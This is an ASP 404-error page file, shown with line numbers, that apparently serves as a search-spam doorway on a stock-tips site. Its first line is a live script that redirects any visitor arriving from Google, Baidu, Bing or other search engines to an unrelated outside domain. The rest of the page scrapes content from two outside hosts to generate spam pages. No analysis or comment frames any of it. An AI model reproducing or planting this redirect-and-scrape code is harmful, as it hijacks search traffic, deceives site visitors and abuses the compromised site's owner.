d:\wwwroot\wuchunhua\404.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002:
003:
<%
004:
Function GetPage(url)
005:
On Error Resume Next
006:
Dim Retrieval
007:
Set Retrieval = CreateObject("Msxml2.XMLHTTP")
008:
'Set Retrieval = CreateObject("Microsoft.XMLHTTP")
009:
With Retrieval
010:
.Open "Get", url, False, "", ""
011:
.Send
012:
if .readyState = 4 then
013:
if len(.ResponseBody)=0 then
014:
Response.Write("<meta http-equiv='refresh' content='0;URL=/?"&id&"'>")
015:
else
016:
GetPage = BytesToBstr(.ResponseBody)
017:
end if
018:
end if
019:
End With
020:
Set Retrieval = Nothing
021:
On Error GoTo 0
022:
End Function
023:
024:
Function BytesToBstr(body)
025:
dim objstream
026:
set objstream = Server.CreateObject("adodb.stream")
027:
objstream.Type = 1
028:
objstream.Mode =3
029:
objstream.Open
030:
objstream.Write body
031:
objstream.Position = 0
032:
objstream.Type = 2
033:
objstream.Charset = "gb2312"
034:
'objstream.Charset = "UTF-8"
035:
BytesToBstr = objstream.ReadText
036:
objstream.Close
037:
set objstream = nothing
038:
End Function
039:
040:
Function GetContent(str,start,last,n)
041:
042:
If Instr(lcase(str),lcase(start))>0 and Instr(lcase(str),lcase(last))>0 then
043:
select case n
044:
case 0 '左右都截取（都取前面）（去处关键字）
045:
GetContent=Right(str,Len(str)-Instr(lcase(str),lcase(start))-Len(start)+1)
046:
GetContent=Left(GetContent,Instr(lcase(GetContent),lcase(last))-1)
047:
case 1 '左右都截取（都取前面）（保留关键字）
048:
GetContent=Right(str,Len(str)-Instr(lcase(str),lcase(start))+1)
049:
GetContent=Left(GetContent,Instr(lcase(GetContent),lcase(last))+Len(last)-1)
050:
case 2 '只往右截取（取前面的）（去除关键字）
051:
GetContent=Right(str,Len(str)-Instr(lcase(str),lcase(start))-Len(start)+1)
052:
case 3 '只往右截取（取前面的）（包含关键字）
053:
GetContent=Right(str,Len(str)-Instr(lcase(str),lcase(start))+1)
054:
case 4 '只往左截取（取后面的）（包含关键字）
055:
GetContent=Left(str,InstrRev(lcase(str),lcase(start))+Len(start)-1)
056:
case 5 '只往左截取（取后面的）（去除关键字）
057:
GetContent=Left(str,InstrRev(lcase(str),lcase(start))-1)
058:
case 6 '只往左截取（取前面的）（包含关键字）
059:
GetContent=Left(str,Instr(lcase(str),lcase(start))+Len(start)-1)
060:
case 7 '只往右截取（取后面的）（包含关键字）
061:
GetContent=Right(str,Len(str)-InstrRev(lcase(str),lcase(start))+1)
062:
case 8 '只往左截取（取前面的）（去除关键字）
063:
GetContent=Left(str,Instr(lcase(str),lcase(start))-1)
064:
case 9 '只往右截取（取后面的）（包含关键字）
065:
GetContent=Right(str,Len(str)-InstrRev(lcase(str),lcase(start)))
066:
end select
067:
Else
068:
GetContent=""
069:
End if
070:
071:
End function
072:
'过滤空格 回车 制表符
073:
Function filtrate(str)
074:
' str=replace(str,chr(13),"")
075:
' str=replace(str,chr(10),"")
076:
str=replace(str,chr(9),"")
077:
filtrate=str
078:
End Function
079:
080:
081:
Function toUTF8(szInput)
082:
Dim wch, uch, szRet
083:
Dim x
084:
Dim nAsc, nAsc2, nAsc3
085:
086:
If szInput = "" Then
087:
toUTF8 = szInput
088:
Exit Function
089:
End If
090:
For x = 1 To Len(szInput)
091:
wch = Mid(szInput, x, 1)
092:
nAsc = AscW(wch)
093:
If nAsc < 0 Then nAsc = nAsc + 65536
094:
095:
If (nAsc And &HFF80) = 0 Then
096:
szRet = szRet & wch
097:
Else
098:
If (nAsc And &HF000) = 0 Then
099:
uch = "%" & Hex(((nAsc \ 2 ^ 6)) or &HC0) & Hex(nAsc And &H3F or &H80)
100:
szRet = szRet & uch
101:
Else
102:
uch = "%" & Hex((nAsc \ 2 ^ 12) or &HE0) & "%" & _
103:
Hex((nAsc \ 2 ^ 6) And &H3F or &H80) & "%" & _
104:
Hex(nAsc And &H3F or &H80)
105:
szRet = szRet & uch
106:
End If
107:
End If
108:
Next
109:
110:
toUTF8 = szRet
111:
End Function
112:
113:
114:
115:
%
>
116:
<%
117:
path = Left(Request.ServerVariables("PATH_INFO"),InstrRev(Request.ServerVariables("PATH_INFO"),"/"))
118:
siteurl = "http://"&request.ServerVariables("HTTP_HOST")&path
119:
siteurlx = request.ServerVariables("HTTP_HOST")
120:
sitename="网站名字" '在引号中填写你的网站名字
121:
const RefreshTime=24 '设置网站的刷新时间，单位小时
122:
const LExpireHours = 1
123:
const ishtm=true
124:
'是否缓存 0:不缓存 1:缓存
125:
const IsCache = 1
126:
Server.ScriptTimeOut=9999999
127:
'on error resume next
128:
%
>
129:
130:
<%
131:
132:
Function getUrlParameter()
133:
Dim u : u = Request.Servervariables("QUERY_STRING")
134:
Dim a : a = Split(u,"/") : ReDim Preserve a(2)
135:
getUrlParameter = Replace(u,Join(a,"/"),"")
136:
End Function
137:
getUrlParameter2=getUrlParameter
138:
getUrlParameter2=Replace(getUrlParameter2,"/","")
139:
140:
Url="http://www.913888.com/baidu/litszz.asp?"&getUrlParameter2
141:
142:
143:
ComStr = GetPage(url)
144:
Set Re=new RegExp
145:
Re.Global = True
146:
ComStr = filtrate(ComStr)
147:
szvod_Body = GetContent(Comstr,"您当前位置","<div id=""webmenu1"">",0)
148:
if szvod_Body = "" then
149:
szvod_Body = GetContent(Comstr,"您当前位置","<table width=""950"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=",0)
150:
end if
151:
152:
if szvod_Body = "" then
153:
Url="http://www.731888.com/baidu/litszz.asp?"&getUrlParameter2
154:
155:
156:
ComStr = GetPage(url)
157:
Set Re=new RegExp
158:
Re.Global = True
159:
ComStr = filtrate(ComStr)
160:
szvod_Body = GetContent(Comstr,"您当前位置","<div id=""webmenu1"">",0)
161:
if szvod_Body = "" then
162:
szvod_Body = GetContent(Comstr,"您当前位置","<table width=""950"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=",0)
163:
end if
164:
165:
end if
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
if instr(getUrlParameter,"list_")>0 then
176:
getUrlParameter2=getUrlParameter
177:
getUrlParameter2=Replace(getUrlParameter2,"/","")
178:
getUrlParameter2=Replace(getUrlParameter2,"list_","")
179:
Url="http://www.913888.com/baidu/list.asp?id="&getUrlParameter2
180:
181:
ComStr = GetPage(url)
182:
Set Re=new RegExp
183:
Re.Global = True
184:
ComStr = filtrate(ComStr)
185:
szvod_Body = GetContent(Comstr,"您当前位置","<div id=""webmenu1"">",0)
186:
if szvod_Body = "" then
187:
szvod_Body = GetContent(Comstr,"您当前位置","<table width=""950"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=",0)
188:
end if
189:
190:
end if
191:
192:
if szvod_Body = "" then
193:
Url="http://www.731888.com/baidu/list.asp?id="&getUrlParameter2
194:
195:
ComStr = GetPage(url)
196:
Set Re=new RegExp
197:
Re.Global = True
198:
ComStr = filtrate(ComStr)
199:
szvod_Body = GetContent(Comstr,"您当前位置","<div id=""webmenu1"">",0)
200:
if szvod_Body = "" then
201:
szvod_Body = GetContent(Comstr,"您当前位置","<table width=""950"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=",0)
202:
end if
203:
204:
end if
205:
206:
207:
208:
209:
210:
211:
212:
title = GetContent(Comstr,"<h1>","</h1>",0)
213:
if title="" then
214:
title = GetContent(Comstr,">>",">>",0)
215:
end if
216:
217:
szvod_Body=Replace(szvod_Body,"<a href='news/","<a href='/news/")
218:
szvod_Body=Replace(szvod_Body,"../","/")
219:
szvod_Body=Replace(szvod_Body,"litszz.asp?","")
220:
szvod_Body=Replace(szvod_Body,"list.asp?id=","list_")
221:
szvod_Body=Replace(szvod_Body,"","")
222:
szvod_Body=Replace(szvod_Body,"","")
223:
szvod_Body=Replace(szvod_Body,"","")
224:
szvod_Body=Replace(szvod_Body,"","")
225:
szvod_Body=Replace(szvod_Body,"","")
226:
szvod_Body=Replace(szvod_Body,"","")
227:
szvod_Body=Replace(szvod_Body,"","")
228:
szvod_Body=Replace(szvod_Body,"","")
229:
szvod_Body=Replace(szvod_Body,"","")
230:
231:
232:
233:
234:
235:
%
>
236:
<%
237:
Set Re=Nothing
238:
%
>
239:
240:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
241:
<html xmlns="http://www.w3.org/1999/xhtml">
242:
<head><base target="_blank">
243:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
244:
<title>
<%
=title
%
> - 网站名称 </title>
245:
<meta name="keywords" content="
<%
=title
%
>" />
246:
<meta name="description" content="
<%
=title
%
>，点此了解详情" />
247:
<link href="/css/css7.css" ID="skin" type=text/css rel=stylesheet>
248:
<!--mstheme-->
<link rel="stylesheet" type="text/css" href="_themes/sky/sky1011-106.css"><meta name="Microsoft Theme" content="sky 1011, default">
249:
</head>
250:
<body>
251:
<div align="center">
252:
<div class="mwall">
253:
<div id="webhead"><br>
254:
<div id="logo">
255:
<a href="/">
256:
<img src="/img/logo.gif" border="0" style="border: 1px solid #b8b8b8; margin-right: 8px; padding: 1px" alt="今日股市行情,2010股市黑马,股票macd指标,股票IIQ-如果看好中国经济,那么对中国股市也不应看得太悲观！"></a>
257:
</div>
258:
<div id="banner">
259:
广告位 </div>
260:
</div>
261:
<div id="webmenu">
262:
<ul><li class="ldmc" id="ld1">站点导航：</li> <li class="ldmc" id="ld1">
263:
<a href="/">网站首页</a></li>
264:
265:
<li class="ldmc" id="ld1"><a href="/list_1" target="_top">散户炒股</a></li>
266:
267:
<li class="ldmc" id="ld1"><a href="/list_2" target="_top">黑马推荐</a></li>
268:
269:
<li class="ldmc" id="ld1"><a href="/list_3" target="_top">股票IIQ</a></li>
270:
271:
<li class="ldmc" id="ld1"><a href="/list_4" target="_top">证券之星</a></li>
272:
273:
<li class="ldmc" id="ld1"><a href="/list_5" target="_top">股市行情</a></li>
274:
275:
<li class="ldmc" id="ld1"><a href="/list_6" target="_top">天天涨停</a></li>
276:
277:
<li class="ldmc" id="ld1"><a href="/list_7" target="_top">财经要闻</a></li>
278:
279:
</ul></div>
280:
<div class="mw">
281:
<div class="dh">
282:
您当前的位置
<%
=szvod_Body
%
>
283:
284:
<div id="webmenu1">
285:
<br>返回首页 | 服务与支持 | 联系方式 | 广告服务 | 免责声明 | <script language="javascript" type="text/javascript" src="http://js.users.51.la/1712522.js"></script>`<br>
286:
Copyright© 2008 - 2009 Cnie. All Rights Reserved <span style="font-size: 1pt; letter-spacing: 0pt"></span><br>
287:
</div>
288:
289:
</body>
290:
</html>
291:
292:
293: